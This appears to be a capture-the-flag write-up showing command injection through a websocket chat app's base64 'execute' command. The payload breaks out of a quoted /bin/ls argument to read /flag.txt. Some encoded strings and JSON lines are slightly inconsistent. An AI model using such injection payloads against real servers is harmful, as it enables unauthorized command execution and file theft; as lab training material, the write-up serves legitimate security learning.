

AdventOfCTF-23

We have the ability to send messages:

Send

If we intercept a message and change it to:

```
1 42["chat message",{"message":"a","command":"help"}]
```

We get this response:

```
1 42["chat message",{"message":"Allowed message types are: help, execute and empty"}]
```

Let's check if we have code execution:

\n Actions ▾

1 42["chat message",{"message":"anything","command":"execute"}]

But we get this error:

```
1 42["chat message",{"message":"Invalid BASE64"}]
```

Let's base64 encode our message and check if we get a different error.

\n Actions ▾

1 42["chat message",{"command":"code","message":"ERR: Error: Command failed: /bin/ls 'anything'\nls: anything: No such file or directory\n"}]

Great, now let's encode the following command:

```
cat /flag.txt -> Y2F0IC9mbGFuLnR4dA==
```

And send a new message

```
1 42 [{"chat message", {"command": "code", "message": "ERR: Error: Command failed: /bin/ls 'cat /flag.txt'\nls: cat /flag.txt: No such file or directory\n"}]}
```

Oh no.

Let's try with a different command.

```
.'; cat '/flag.txt -> Lic7IGNhdCANL2ZsYWcudHh0
```

```
["chat message", {"message": "Lic7IGNhdCANL2ZsYWcudHh0", "command": "execute"}]
```

```
42 [{"chat message", {"command": "code", "message": "STDOUT:  
do_check.sh\nindex.html\nnode_modules\npackage-lock.json\npackage.json\nserver.js\nNOVI(i_hacked_websockets_and_i_am_still_s@ne)\n"}]}
```

Flag: NOVI{i_hacked_websockets_and_i_am_still_s@ne}

